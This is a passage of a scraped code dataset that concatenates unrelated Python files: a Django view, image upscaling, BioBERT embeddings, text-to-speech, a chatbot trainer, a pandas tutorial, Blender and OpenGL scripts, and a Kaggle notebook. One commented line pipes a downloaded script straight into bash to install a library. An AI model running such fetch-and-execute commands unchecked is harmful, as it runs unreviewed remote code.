DashboardRecipeDelete(DashboardRecipeView):\n def post(self, *args, **kwargs):\n recipe = self.get_recipe(self.request.POST.get('recipe_id'))\n recipe.delete()\n messages.success(self.request, 'Your recipe has been deleted!')\n return redirect('authors:dashboard')\n","repo_name":"washingtonsilva1/recipes-django","sub_path":"authors/views/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":4633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"26369048117","text":"def X4Size(im,imF,step,factor,V,model,Image,ImageChops):\n # Size of the image in pixels (size of original image)\n # (This is not mandatory)\n width, height = im.size\n print(height)\n print(width)\n #Image de fond\n imM1 = Image.new(mode=\"RGBA\", size=(height*factor, width*factor),color=(0, 0, 0, 255))\n #B1\n for i_height in range(0, height-1, step):\n for i_width in range(0, width-1, step):\n print(\"B1 : \" + str(i_height)+\"x\"+str(i_width)) \n left = i_width\n top = i_height\n right = i_width+step\n bottom = i_height+step\n\n im1 = im.crop((left, top, right, bottom))\n\n sr_image = model.predict(im1)\n\n imM1.alpha_composite(sr_image.convert(\"RGBA\"), dest=(left*factor, top*factor))\n imM1 = imM1.convert(\"RGB\")\n return imM1\n","repo_name":"renaudfractale/MakeMaxiSizeImageByRealESRGAN","sub_path":"ModulePython/X4v0.py","file_name":"X4v0.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"72287165816","text":"''' \nProject: Explaining LSTM-CRF models based NER Systems\nVersion: 0.1\nAuthor: Akshat Gupta\n'''\n\n# !wget https://setup.johnsnowlabs.com/nlu/colab.sh -O - | bash\nimport nlu\nimport pandas as pd\nimport numpy as np\nfrom sklearn.manifold import TSNE\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n'''\nTo create BioBERT Embeddings\n'''\nclass BioBERTEmbedding():\n def __init__(self) -> None:\n pass\n\n def Get_BioBertEmbedding():\n df = pd.read_csv('../data/ner-disease/DatasetTrain.csv')\n\n pipe = nlu.load('biobert pos') # emotion\n df['text'] = df['Word']\n df_b = df[df['Tag'] == '|B-DISEASE\\n']\n df_i = df[df['Tag'] == '|I-DISEASE\\n']\n df_o = df[df['Tag'] == '|O\\n']\n\n df_b = df_b[:4000]\n df_i = df_i[:4000]\n df_o = df_o[:6000]\n\n df = pd.concat([df_b, df_o, df_i], ignore_index=True)\n predictions = pipe.predict(df[['text','Tag']].iloc[0:14000], output_level='token')\n\n # Make a matrix from the vectors in the np_array column via list comprehension\n mat = np.matrix([x for x in predictions.word_embedding_biobert])\n model = TSNE(n_components=2) #n_components means the lower dimension\n low_dim_data = model.fit_transform(mat)\n print('Lower dim data has shape',low_dim_data.shape)\n\n tsne_df = pd.DataFrame(low_dim_data, predictions.Tag)\n tsne_df.columns = ['x','y']\n ax = sns.scatterplot(data=tsne_df, x='x', y='y', hue=tsne_df.index)\n ax.set_title('T-SNE BIOBERT Embeddings based on LIME and GALE, colored by Named Entity')\n","repo_name":"Akshat4112/Interpreting-Bidirectional-CRF-LSTM-for-Disease-Entity-Recognition","sub_path":"code/BioBertEmbeddings.py","file_name":"BioBertEmbeddings.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"1071865876","text":"\n# Import the google text to speech api and ability to open files\nfrom gtts import gTTS\nimport os, requests, json\n\n# get the joke\njokesite = requests.get(\"https://official-joke-api.appspot.com/random_joke\")\njoke = json.loads(jokesite.text)\n\n# Store the joke in a variable\nmytext = joke[\"setup\"] + joke[\"punchline\"]\n\n# send the options to the server and save\nmyobj = gTTS(text=mytext)\nmyobj.save(\"say.mp3\")\n \n# Playing the saved file\nos.system(\"open say.mp3\")\n\n\n\n\n\n","repo_name":"mejoe/py-gtts","sub_path":"sayjokes.py","file_name":"sayjokes.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"27263072481","text":"from charaname_dialogue_separator import CharanameDialogueSeparator\r\nfrom paragraph_separator import ParagraphSeparator\r\nfrom line_breaker import LineBreaker\r\n\r\n\r\ndef main():\r\n\r\n max_line_num = 3\r\n max_chara_num_in_line = 32\r\n appropriate_max_chara_num_in_line = 28\r\n\r\n charaname_dialogue_separator = CharanameDialogueSeparator()\r\n paragraph_separator = ParagraphSeparator(max_line_num, max_chara_num_in_line)\r\n line_breaker = LineBreaker(max_line_num, appropriate_max_chara_num_in_line)\r\n\r\n with open('Event01.ks', 'w', encoding='utf-8', newline='\\n') as fw:\r\n fw.write('[tb_start_text mode=4]\\n')\r\n with open('Event01.txt', encoding='utf-8') as fr:\r\n readed_lines = fr.readlines()\r\n last_bracket_flag = False\r\n first_flag = True\r\n for readed_line in readed_lines:\r\n dialog_flag = False\r\n readed_line = readed_line.replace('\\n', '')\r\n\r\n # 改行のみの行を飛ばす\r\n if len(readed_line) == 0:\r\n continue\r\n\r\n # 発言者\r\n if readed_line[0] == '#':\r\n if not first_flag:\r\n fw.write('[_tb_end_text]\\n\\n[tb_start_text mode=4]\\n')\r\n charaname, readed_line = charaname_dialogue_separator.separate(readed_line)\r\n fw.write(charaname + '\\n')\r\n dialog_flag = True\r\n # 台詞の次の行で、かつ台詞じゃない場合は地の文の開始\r\n elif last_bracket_flag:\r\n fw.write('[_tb_end_text]\\n\\n[tb_start_text mode=4]\\n#\\n')\r\n last_bracket_flag = False\r\n\r\n if first_flag:\r\n first_flag = False\r\n\r\n if readed_line[0] == '　':\r\n readed_line = readed_line[1:]\r\n\r\n paragraphs = paragraph_separator.separate(readed_line)\r\n for paragraph in paragraphs:\r\n breaked_lines = line_breaker.break_line(paragraph)\r\n for i, breaked_line in enumerate(breaked_lines):\r\n break_symbol = '[p]\\n' if i == len(breaked_lines) - 1 else '[r]\\n'\r\n if dialog_flag and i > 0:\r\n breaked_line = '_　' + breaked_line\r\n fw.write(breaked_line + break_symbol)\r\n if breaked_line[-1] == '」':\r\n last_bracket_flag = True\r\n\r\n fw.write('[_tb_end_text]\\n')\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"kanosawa/text2tyrano","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"69987503097","text":"List = list(map(int, input().strip().split()))\nflag = False\nIs = [False, False, False, False, False]\nans = [0, 0, 0, [], 0]\nfor i in range(1, List[0] + 1):\n if (List[i] % 10 < 1):\n Is[0] = True\n ans[0] += List[i]\n if (List[i] % 5 == 1):\n Is[1] = True\n ans[1] += (-1)**int(flag) * List[i]\n flag = not flag\n if (List[i] % 5 == 2):\n Is[2] = True\n ans[2] += 1\n if (List[i] % 5 == 3):\n Is[3]= True\n ans[3].append(List[i])\n if (List[i] % 5 == 4):\n Is[4] = True\n ans[4]= max(ans[4], List[i])\n\nprint(ans[0] if Is[0] else 'N', ans[1] if Is[1] else 'N', ans[2] if Is[2] else 'N',\n ('%.1f' % (sum(ans[3])/len(ans[3]))) if Is[0] else 'N', ans[4] if Is[4] else 'N')\n","repo_name":"JacketPants/Problem-OJ","sub_path":"contest/牛客网PAT模拟题/BasicLevel_Real/1002.py","file_name":"1002.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"3911868429","text":"# Python Practice Exercises\n# -------------------------\n# \n# Thanks to Luke Cherveny for creating these Python exercises.\n# \n# Data file\n# ---------\n# \n# The file senate_2022.csv contains data on the 100 current members\n# of the United States Senate. It is a cleaned copy/paste from Wikipedia:\n# https://en.wikipedia.org/wiki/List_of_current_United_States_senators\n#\n# Variables include:\n# \n# * Name: Senator name\n# * State: State the senator represents\n# * Party: Official political affiliation \n# * BirthDate: Date of Birth (along with age)\n# * Occupation: Declared occupation(s), separated by commas\n# * PreviousOffice: Previously held elected offices, separated by commas\n# * Education: College/University and degree, separated by commas\n# * AssumedOffice: Date senate seat assumed\n# * Election: Year the senator's seat is up for election\n# * Residence: Senator official city of residence (in the state they represent)\n\n# ## Question 1\n# \n# Load the .csv as a pandas DataFrame\n\n# Solution to Question 1\n\nimport pandas as pd\ndf = pd.read_csv( 'senate_2022.csv' )\n# print( df ) # uncomment this line to see the dataset printed\n\n\n# ## Question 2\n# \n# Make a list of the states that have Senate elections this year.\n\n# Solution to Question 2\n\nanswer2 = df[df.Election == 2022].State.unique()\n# print( answer2 ) # uncomment this line to see the answer printed\n\n\n# ## Question 3\n# \n# What is the political make up of the US Senate?\n\n# Solution to Question 3\n\nanswer3 = df.Party.value_counts()\n# print( answer3 ) # uncomment this line to see the answer printed\n\n\n# ## Question 4\n# \n# Which senators have a JD?\n\n# Solution to Question 4 (assuming no school contains the initials \"JD\" in it...)\n\nanswer4 = df[df.Education.str.contains( 'JD' )]\n# print( answer4 ) # uncomment this line to see the answer printed\n\n\n# ## Question 5\n# \n# Which senator names have more than two words?\n\n# Solution to Question 5\n\nname_parts = df.Name.str.split()\nnum_parts = name_parts.apply( len )\nanswer5 = df[num_parts > 2].Name\n# print( answer5 ) # uncomment this line to see the answer printed\n\n\n# ## Question 6\n# \n# Change each senator's hometown to include the state, e.g. \"Cambridge\" becomes \"Cambridge, Massachusetts\".\n\n# Solution to Question 6\n\ndf.Residence = df.Residence + ', ' + df.State\n# print( df[['Name','Residence']] ) # uncomment this line to see the results\n\n\n# ## Question 7\n# \n# Make a new variable for just the age of each senator and sort the senators by age.\n\n# Solution to Question 7\n\ndf['Age'] = df.BirthDate.str[-3:-1].astype( int )\ndf = df.sort_values( by='Age' )\n# print( df ) # uncomment this line to see the results\n\n\n# ## Question 8\n# \n# Make a new variable for whether a senator was in the U.S. House.\n\n# Solution to Question 8\n\ndf['WasInHouse'] = df.PreviousOffice.str.contains( 'U.S. House' )\n# print( df ) # uncomment this line to see the results\n\n\n# ## Question 9\n# \n# Which senator has the most declared occupations?\n\n# Solution to Question 9\n\ndf['NumOccupations'] = df.Occupation.str.split( ',' ).apply( len )\nanswer9 = df.sort_values( by='NumOccupations', ascending=False ).head()\n# print( answer9 ) # uncomment this line to see the answer printed\n\n\n# ## Question 10\n# \n# In which states are both seats in the Senate controlled by the same party?\n\n# Solution to Question 10\n\ndef has_only_one_party ( state_name ):\n return len( df[df.State == state_name].Party.unique() ) == 1\nanswer10 = [ state for state in df.State.unique() if has_only_one_party( state ) ]\n# print( answer10 ) # uncomment this line to see the answer printed\n\n\n# ## Question 11\n# \n# Make a histogram of senator ages.\n\n# Solution to Question 11\n# NOTE: Only the df.Age.plot.hist() line is strictly necessary.\n# The rest just make the plot readable.\nimport matplotlib.pyplot as plt\ndf.Age.plot.hist()\nplt.title( 'Distribution of Senator Ages' )\nplt.xlabel( 'Age' )\n# plt.show() # uncomment this line to show the plot in a popup\n\n\n# ## Question 12\n# \n# How does average age for republican senators compare to average age for democratic senators?\n# \n# Challenge: Make side-by-side box plots to compare the age distribution by party.\n\n# Solution to Question 12 (challenge solution is further below)\n\nanswer12 = df.groupby( 'Party' )['Age'].mean()\n# print( answer12 ) # uncomment this line to see the answer printed\n\n# Solution to Question 12's Challenge\n\n# df.boxplot( column='Age', by='Party' ) # uncomment this line to see the plot in a popup\n\n\n# ## Question 13\n# \n# Which senator has been in the senate the longest?\n# \n# (Hint: You don't *need* to use datetimes, but the solution is cleaner if you do.)\n\n# Solution to Question 13\n\nimport datetime\n# Convert \"AssumedOffice\" column into Python datetime objects for use in computation:\ndf.AssumedOffice = pd.to_datetime( df.AssumedOffice )\n# Subtract each \"AssumedOffice\" time from now, to find the total time in office so far:\nnow = datetime.datetime.now()\ndf['TimeInOffice'] = now - df.AssumedOffice\n# Show the table sorted by that value, decreasing:\nanswer13 = df.sort_values( by='TimeInOffice', ascending=False ).head()\n# print( answer13 ) # uncomment this line to see the answer printed\n\n\n# ## Question 14 - Challenge\n# \n# Which senator was the oldest when they assumed office?\n# \n# (Hint: You definitely need datetimes for this one.)\n\n# Solution to Question 14\n\n# Convert the BirthDate column into a Python datetime, for use in computations:\n# (Note that we have to drop the end of each BirthDate, where it has the age.)\ndf['BirthDatetime'] = pd.to_datetime( df.BirthDate.str[:-9] )\n# Compute the Senator's age when they assumed office:\ndf['AgeWhenAssumedOffice'] = df.AssumedOffice - df.BirthDatetime\n# Show the table sorted by that value, decreasing:\nanswer14 = df.sort_values( by='AgeWhenAssumedOffice', ascending=False ).head()\n# print( answer14 ) # uncomment this line to see the answer printed\n\n\n# ## Question 15 - Challenge\n# \n# Which college/university granted the most degrees to Senate members?\n# \n# (Hint: You probably need regular expressions for this one.)\n\n# Solution to Question 15\n\n# NOTE: To help the reader understand this solution, I suggest running each line separately,\n# in a cell on its own, to see the value of its output alone.\n# Break each Senator's education up at the commas:\neducation_parts = df.Education.str.split( ', ' )\n# Flatten all those results into one big list for all Senators:\nschools_and_more = [ text for parts in education_parts for text in parts ]\n# Drop little bits that don't contain any school names:\nwithout_junk = [ text for text in schools_and_more if '(' in text ]\n# Erase the degree from the end of each piece of text, leaving only the school name:\njust_schools = [ text[:text.index( '(' )] for text in without_junk ]\n# Build a frequency table from that list of school names:\nanswer15 = pd.Series( just_schools ).value_counts()\n# print( answer15 ) # uncomment this line to see the answer printed\n\n","repo_name":"bentley-cads/intro-python-workshop","sub_path":"exercises-with-solutions.py","file_name":"exercises-with-solutions.py","file_ext":"py","file_size_in_byte":6906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"69945750137","text":"import bpy\nimport math\nimport mathutils\n\ndef spherical(radius, phi, theta):\n x = radius * math.sin(phi) * math.cos(theta)\n y = radius * math.sin(phi) * math.sin(theta)\n z = radius * math.cos(phi)\n return mathutils.Vector((x, y, z))\n\ndef show():\n scene = bpy.context.scene\n for obj in scene.objects:\n print(obj.name)\n\ndef remove(name):\n bpy.ops.object.select_all(action='DESELECT')\n bpy.data.objects[name].select = True\n bpy.ops.object.delete()\n\ndef light(at):\n bpy.ops.object.select_all(action='DESELECT')\n lamp_data = bpy.data.lamps.new(name='Lamp', type='POINT')\n lamp_data.energy = 10\n lamp_object = bpy.data.objects.new(name='Lamp', object_data=lamp_data)\n lamp_object.location = at\n bpy.context.scene.objects.link(lamp_object)\n\ndef camera(at):\n camera = bpy.data.objects['Camera']\n origin = mathutils.Vector((0, 0, 0))\n anchor = camera.matrix_world.to_translation()\n direction = origin - at\n rot_quat = direction.to_track_quat('-Z', 'Y')\n camera.rotation_euler = rot_quat.to_euler()\n camera.location = at\n\nbpy.ops.import_scene.obj(filepath='/brick.obj')\nremove('Cube')\nremove('Plane')\nremove('Lamp')\nat = spherical(15, math.radians(45), math.radians(315))\nlight(at)\ncamera(at)\nshow()\n\nbpy.context.scene.render.filepath = '/output/rendering.png'\nbpy.context.scene.render.resolution_x = 800\nbpy.context.scene.render.resolution_y = 600\n\nbpy.ops.render.render(write_still=True)\n","repo_name":"gmamaladze/rotating-bricks","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"25788013584","text":"import pygame\nfrom pygame.locals import *\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nfrom math import *\nfrom numpy import *\npoints = []\ngraph = []\nxcordconnect=-200\nconnect1 = 0\nconnect2 =1\nverticies = [\n (0, -1, -0),\n (0,1, 0),\n (1, 0, -0),\n (-1,0, 0),\n (0, 0, -1),\n (0,0, 1)\n]\nedges = [\n (0,1),\n (2,3),\n (4,5)\n]\nx= 0\nx_cord = ()\nmax_x = 10\nxcord1 = -10\nprint(x_cord)\nwhile xcord1 < max_x:\n x_cord = list(x_cord)\n x_cord.append(xcord1)\n x_cord = tuple(x_cord)\n xcord1 += .1\n graph.append((connect1,connect2))\n connect1 +=1\n connect2 +=1\n\ndef formula(a):\n transformations = \"(-x)**.5\"\n varplace = transformations.find(\"x\")\n return transformations.replace(\"x\", str(a))\nfor number in x_cord:\n expression = formula(number)\n print (expression)\n y = eval(expression)\n if (y.imag) == 0:\n print (y)\n point = (number, y, 0)\n print (point)\n points.append(point)\n print (points)\n elif (y.real) ==0:\n z = y.imag\n print (z)\n point = (number, 0, z)\n print (point)\n points.append(point)\n print (points)\n else:\n z = y.imag\n print (z)\n point = (number, y.real, z)\n print (point)\n points.append(point)\n print (points)\ndef Graph():\n try:\n for edge in graph:\n for point in edge:\n glVertex3fv(points[point])\n except:\n pass\n\ndef Cube():\n try:\n for edge in edges:\n for vertex in edge:\n glVertex3fv(verticies[vertex])\n except:\n pass\ndef main():\n pygame.init()\n display = (800,600)\n pygame.display.set_mode(display, DOUBLEBUF|OPENGL)\n gluPerspective(45, (display[0]/display[1]), 0.1, 50.0)\n glTranslatef(0.0,0.0, -5)\n glRotatef(0, 0, 0, 0)\n\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n glTranslatef(-1.0,0.0,0)\n if event.key == pygame.K_RIGHT:\n glTranslatef(1.0,0.0,0)\n if event.key == pygame.K_UP:\n glTranslatef(0.0,1.0,0)\n if event.key == pygame.K_DOWN:\n glTranslatef(0.0,-1.0,0)\n if event.key == pygame.K_w:\n print (\"you pressed w\")\n glRotatef(1, 10, 0, 0)\n if event.key == pygame.K_s:\n glRotatef(1, -10, 0, 0)\n if event.key == pygame.K_a:\n glRotatef(1, 0, 90, 0)\n if event.key == pygame.K_d:\n glRotatef(1, 0, -90, 0)\n\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 4:\n glTranslatef(0,0,1.0)\n if event.button == 5:\n glTranslatef(0,0,-1.0)\n glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT)\n glBegin(GL_LINES)\n Cube()\n Graph()\n glEnd()\n pygame.display.flip()\n pygame.time.wait(1)\nmain()\n","repo_name":"wizardwatch/graphing-calculator-with-imaginary-numbers","sub_path":"old.py","file_name":"old.py","file_ext":"py","file_size_in_byte":3193,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"41242531560","text":"from time import time\nimport os\n\nimport torch\nfrom nltk.translate.bleu_score import sentence_bleu\n\n# 导入之前写好的函数或类\nfrom util import (vocab, GreedySearchDecoder, PAD_token, SOS_token, EOS_token,\n UNK_token, parse_arg, trimAndReplace, DataLoader,\n train_one_batch)\nfrom model import EncoderRNN, LuongAttentionDecoderRNN\n\n\ndef train(args):\n # 超参\n BATCH_SIZE = args.batch_size\n MAX_LENGTH = args.max_length\n MIN_COUNT = args.min_count\n TEACHER_FORCING_RATIO = args.teacher_forcing_ratio\n LEARNING_RATE = args.learning_rate\n CLIP = args.clip\n\n # 网络参数\n hidden_size = args.hidden_dim\n encoder_n_layers = args.encoder_n_layers\n decoder_n_layers = args.decoder_n_layers\n dropout = args.dropout\n\n # 轮数与打印间隔\n epoch = args.epoch\n print_interval = args.print_interval\n save_interval = args.save_interval\n\n # 设备\n device = args.device\n save_dir = args.save_dir\n root = args.root\n\n mask_loss_all = []\n\n # 定义训练一个batch的逻辑\n # 在这个batch中更新网络时，有一定的概率会使用teacher forcing的方法来加速收敛， 这个概率为teacher_forcing_ratio\n\n # 开始训练\n print(\"build vocab_list...\")\n # 首先构建字典\n voc = vocab(name=\"corpus\",\n pad_token=PAD_token,\n sos_token=SOS_token,\n eos_token=EOS_token,\n unk_token=UNK_token)\n # 载入数据\n data_path = os.path.join(root, 'dialog.tsv')\n pairs = voc.load_data(data_path)\n\n print(f\"load {len(pairs)} dialogs successfully\")\n # 对数据进行裁剪\n pairs = trimAndReplace(voc=voc, pairs=pairs, min_count=MIN_COUNT)\n print(f\"there are {voc.num_words} words in the vocab\")\n\n # 定义词向量嵌入矩阵\n embedding = torch.nn.Embedding(num_embeddings=voc.num_words,\n embedding_dim=hidden_size,\n padding_idx=PAD_token)\n # 获取encoder和decoder\n encoder = EncoderRNN(hidden_size=hidden_size,\n embedding=embedding,\n n_layers=encoder_n_layers,\n dropout=dropout)\n\n decoder = LuongAttentionDecoderRNN(score_name=\"dot\",\n embedding=embedding,\n hidden_size=hidden_size,\n output_size=voc.num_words,\n n_layers=decoder_n_layers,\n dropout=dropout)\n encoder = encoder.to(device)\n decoder = decoder.to(device)\n\n # 为encoder和decoder分别定义优化器\n encoder_optimizer = torch.optim.Adam(encoder.parameters(),\n lr=LEARNING_RATE)\n decoder_optimizer = torch.optim.Adam(decoder.parameters(),\n lr=LEARNING_RATE)\n\n # 定义优化器学习率的衰减策略\n # encoder_lr_scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer=encoder_optimizer,\n # # lr_lambda=Triangular2(T_max=300, gamma=0.5))\n # # decoder_lr_scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer=decoder_optimizer,\n # # lr_lambda=Triangular2(T_max=300, gamma=0.5))\n\n encoder_lr_scheduler = None\n decoder_lr_scheduler = None\n\n global_step = 0\n start_time = time()\n encoder.train()\n decoder.train()\n\n print(\"start to train...\")\n\n # 轮数遍历\n for epoch in range(epoch):\n print(\"-\" * 20)\n print(\"Epoch : \", epoch)\n # 获取loader\n train_loader = DataLoader(pairs=pairs,\n voc=voc,\n batch_size=BATCH_SIZE,\n shuffle=True)\n # 遍历生成器\n for batch_num, batch in enumerate(train_loader):\n global_step += 1\n # batch中的信息 : [\"input_tensor\", \"input_length_tensor\", \"output_tensor\", \"mask\", \"max_length\"]\n loss = train_one_batch(input_seq=batch[0],\n input_length=batch[1],\n device=device,\n target=batch[2],\n mask=batch[3],\n max_target_len=batch[4],\n encoder=encoder,\n decoder=decoder,\n encoder_optimizer=encoder_optimizer,\n decoder_optimizer=decoder_optimizer,\n batch_size=BATCH_SIZE,\n clip=CLIP,\n teacher_forcing_ratio=TEACHER_FORCING_RATIO,\n encoder_lr_scheduler=encoder_lr_scheduler,\n decoder_lr_scheduler=decoder_lr_scheduler)\n\n mask_loss_all.append(loss)\n\n if global_step % print_interval == 0:\n print(\n \"Epoch : {}\\tbatch_num : {}\\tloss: {:.6f}\\ttime point : {:.2f}s\\tmodel_lr : {:.10f}\"\n .format(epoch, batch_num, loss,\n time() - start_time,\n encoder_optimizer.param_groups[0][\"lr\"]))\n\n # 将check_point存入./data/check_points这个文件夹中\n if global_step % save_interval == 0:\n checkpoint_name = f'{global_step}_checkpoint.tar'\n check_point_save_path = os.path.join(save_dir, checkpoint_name)\n\n torch.save(\n {\n \"iteration\": global_step,\n \"encoder\": encoder.state_dict(),\n \"decoder\": decoder.state_dict(),\n \"encoder_optimizer\": encoder_optimizer.state_dict(),\n \"decoder_optimizer\": decoder_optimizer.state_dict(),\n # \"encoder_lr_scheduler\" : encoder_lr_scheduler.state_dict(),\n # \"decoder_lr_scheduler\" : decoder_lr_scheduler.state_dict(),\n \"loss\": loss,\n \"voc_dict\": voc.__dict__,\n \"embedding\": embedding.state_dict()\n },\n check_point_save_path)\n\n print(f\"save model to {check_point_save_path}\")\n\n\ndef test(args):\n # 载入模型和字典\n load_path = args.state_dict\n MAX_LENGTH = args.max_length\n\n # 网络参数\n hidden_size = args.hidden_dim\n encoder_n_layers = args.encoder_n_layers\n decoder_n_layers = args.decoder_n_layers\n dropout = args.dropout\n\n # 模型有可能是在gpu上训练的，需要先把模型参数转换成cpu可以运算的类型\n checkpoint = torch.load(load_path, map_location=torch.device(\"cpu\"))\n\n encoder_state_dict = checkpoint[\"encoder\"]\n decoder_state_dict = checkpoint[\"decoder\"]\n embedding_state_dict = checkpoint[\"embedding\"]\n voc_dict = checkpoint[\"voc_dict\"]\n\n # 初始化，词向量矩阵、encoder、decoder并载入参数\n embedding = torch.nn.Embedding(num_embeddings=voc_dict[\"num_words\"],\n embedding_dim=hidden_size,\n padding_idx=voc_dict[\"pad_token\"])\n embedding.load_state_dict(embedding_state_dict)\n\n encoder = EncoderRNN(hidden_size=hidden_size,\n embedding=embedding,\n n_layers=encoder_n_layers,\n dropout=dropout)\n\n decoder = LuongAttentionDecoderRNN(score_name=\"dot\",\n embedding=embedding,\n hidden_size=hidden_size,\n output_size=voc_dict[\"num_words\"],\n n_layers=decoder_n_layers,\n dropout=dropout)\n\n encoder.load_state_dict(encoder_state_dict)\n decoder.load_state_dict(decoder_state_dict)\n\n # 设为评估模式，网络参数停止更新\n encoder.eval()\n decoder.eval()\n\n # 实例化最终评估模型的实例\n chatbot = GreedySearchDecoder(encoder, decoder)\n\n data_path = os.path.join(args.root, 'dialog.tsv')\n bleus = []\n\n for line in open(data_path, 'r', encoding='utf-8'):\n try:\n input_dialog, output_dialog = line.strip().split(\"\\t\")\n reference = [output_dialog.split()]\n input_seq = [\n voc_dict[\"word2index\"].get(word, voc_dict[\"unk_token\"])\n for word in input_dialog.split()\n ]\n input_length = torch.tensor([len(input_seq)])\n input_seq = torch.tensor(input_seq).unsqueeze(0)\n predict_indexes, _ = chatbot(input_seq, input_length, MAX_LENGTH)\n # 将chatbot回复的index序列转为word，并将代表pad_token和eos_token的index去除\n candidate = []\n for index in predict_indexes:\n if index in [voc_dict[\"pad_token\"], voc_dict[\"eos_token\"]]:\n continue\n else:\n candidate.append(voc_dict[\"index2word\"][index])\n\n bleu = sentence_bleu(reference, candidate)\n bleus.append(bleu)\n\n except:\n pass\n\n print('avg bleu', sum(bleus) / len(bleus))\n\n\nif __name__ == \"__main__\":\n torch.manual_seed(1024)\n\n # get args\n args = parse_arg()\n for arg_name, value in args._get_kwargs():\n if isinstance(value, bool) and value:\n globals()[arg_name](args)\n","repo_name":"LSTM-Kirigaya/chatbot-based-on-seq2seq2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9824,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"} +{"seq_id":"34191476834","text":"import os\nfrom datetime import datetime\n\nfrom flask import Flask, render_template, session, redirect, url_for, flash, request\nfrom flask_bootstrap import Bootstrap\nfrom flask_moment import Moment\nfrom flask_table import Table, Col\nfrom sqlalchemy import engine_from_config\nfrom sqlalchemy.orm import scoped_session, sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\n\nfrom website.forms import SearchForm\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'SjdnUends821Jsdlkvxh391ksdODnejdDw' # required for wtforms\nBootstrap(app)\nmoment = Moment(app)\n\nimport config\nengine = engine_from_config(config.DATABASE, prefix='db.')\ndb_session = scoped_session(sessionmaker(autocommit=False,\n autoflush=False,\n bind=engine))\nBase = declarative_base()\nBase.query = db_session.query_property()\n\nfrom website.models import Card # Circular import\n\nclass ItemTable(Table):\n name = Col('NAME')\n mana_cost = Col('COST')\n usd = Col('USD')\n tix = Col('TIX')\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/index', methods=['GET', 'POST'])\ndef index():\n form = SearchForm(request.args)\n query = form.data['q']\n table = None\n if query is not None:\n items = Card.query.filter(Card.name.like('%'+query+'%')).all()\n table = ItemTable(items)\n return render_template('index.html', form=form, query=query, table=table)\n\n@app.route('/search', methods=['GET'])\ndef search():\n form = SearchForm(request.args)\n select = form.select.data\n query = request.args.get('q', None)\n table = None\n if query is not None:\n if select == 'Heirloom':\n items = Card.query.filter(Card.name.like('%'+query+'%')).filter(Card.heirloom_legal == 1).all()\n else:\n items = Card.query.filter(Card.name.like('%'+query+'%')).all()\n table = ItemTable(items)\n return render_template('index.html', form=form, query=query, table=table)\n\n@app.route('/user/')\ndef user(name):\n return render_template('user.html', name=session.get('name'))\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return render_template('404.html'), 404\n\n@app.errorhandler(500)\ndef internal_server_error(e):\n return render_template('500.html'), 500\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"pombredanne/heirloom","sub_path":"website/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"72956295415","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\n\nget_ipython().run_cell_magic('bash', '', 'pip3 install --quiet torchsummary')\n\n\n\n\nimport os, sys\nimport math\nimport json, logging, argparse\n\nimport numpy as np\nimport pandas as pd\n\nimport torch\nimport torch.nn as nn\nimport torch.distributed as dist\nimport torch.optim as optim\nimport torch.nn.functional as F\n\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.utils.data.distributed import DistributedSampler\n\nfrom torchvision import datasets, transforms\nfrom torchsummary import summary\n\n# visualisation\nimport matplotlib.pyplot as plt\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n\n\n\ndata_dir = 'data/Kannada'\n\n\n\n\nget_ipython().run_cell_magic('bash', '', '# Install Kaggle CLI using Python Pip\\npip3 install --quiet kaggle\\nmkdir -p ~/.kaggle\\n\\n# Copy API key file to where Kaggle expects it\\n# Make sure to upload kaggle key file next to this notebook\\ncp kaggle.json ~/.kaggle/kaggle.json && chmod 600 ~/.kaggle/kaggle.json')\n\n\n\n\nget_ipython().run_cell_magic('bash', '', '\\n# Download Kannada MNIST from Kaggle\\nkaggle competitions download -c Kannada-MNIST\\n\\n# Create our data directory\\nmkdir -p data/Kannada/raw\\nmkdir -p data/Kannada/processed\\n\\n# Unzip to data/Kannada directory\\nunzip Kannada-MNIST.zip -d data/Kannada/raw')\n\n\n\n\nfor dirname, _, filenames in 